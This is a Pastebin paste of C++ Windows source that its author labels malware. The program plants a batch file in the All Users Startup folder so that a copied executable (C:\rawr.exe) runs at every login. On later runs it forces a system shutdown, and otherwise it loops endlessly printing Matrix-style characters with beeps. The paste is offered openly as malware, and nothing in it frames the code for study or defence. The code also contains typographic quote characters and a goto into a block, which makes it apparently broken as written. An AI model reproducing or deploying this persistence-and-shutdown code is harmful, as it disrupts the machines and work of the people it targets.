Advertisement
Guest User

Untitled

a guest
Apr 21st, 2019
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.08 KB | None | 0 0
  1. Malware Created and Developed
  2. By
  3. Green Joker
  4.  
  5. #include <iostream>
  6. #include <stdlib.h>
  7. #include <windows.h>
  8. #include <iomanip>
  9. #include <stdio.h>
  10. #include <conio.h>
  11. #include <fstream>
  12. using namespace std;
  13.  
  14. int main()
  15. { keybd_event(VK_MENU,0x38,0,0);
  16. keybd_event(VK_RETURN,0x1c,0,0);
  17. keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
  18. keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
  19. HANDLE outToScreen;
  20. outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);
  21.  
  22. {
  23. char buffer[255];
  24. char inputFile[]=”C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat”;
  25. ifstream input(inputFile);
  26. if (!input)
  27. {
  28. {
  29. ofstream fp(“C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat”, ios::app);
  30. fp << “@ECHO OFF \n”;
  31. fp << “START C:\\rawr.exe \n”;
  32. fp << “EXIT”;
  33. }
  34. }
  35. else
  36. {
  37. while (!input.eof())
  38. {
  39. input.getline(buffer,255);
  40. }
  41. }
  42. }
  43.  
  44. {
  45. char buffer[255];
  46. char inputFile[]=”C:\\rawr.exe”;
  47. ifstream input(inputFile);
  48. if (!input)
  49. {
  50. {
  51. {
  52. ofstream fp(“CLICK.bat”, ios::app);
  53. fp << “@ECHO OFF \n”;
  54. fp << “COPY matrix.exe C:\\rawr.exe \n”;
  55. fp << “START C:\\rawr.exe \n”;
  56. fp << “EXIT”;
  57. }
  58. system(“START CLICK.bat”);
  59. main();
  60. }
  61. }
  62. else
  63. {
  64. while (!input.eof())
  65. {
  66. input.getline(buffer,255);
  67. system(“call shutdown.exe -S”);
  68. goto START;
  69. }
  70. }
  71. }
  72.  
  73. START:{
  74. for(int i = 0; i < 1; i++)
  75. {
  76. int num = (rand() % 10);
  77. SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
  78. cout << setw(4) << num;
  79. cout << setw(4) << “0%”;
  80. cout << setw(4) << “P”;
  81. cout << setw(4) << ” “;
  82. cout << setw(4) << “)”;
  83. cout << setw(4) << “#”;
  84. cout << setw(4) << “X”;
  85. cout << setw(4) << “@”;
  86. cout << setw(4) << “1&”;
  87. cout << setw(4) << “*”;
  88. cout << setw(4) << “||”;
  89. cout << setw(4) << ” \a”;
  90. Sleep(60);
  91. }
  92. }
  93. for ( int j = 0; j < 5; j++)
  94. {
  95. SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
  96. int number = (rand() % 24);
  97. cout << setw(4) << number;
  98. }
  99. goto START;
  100. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement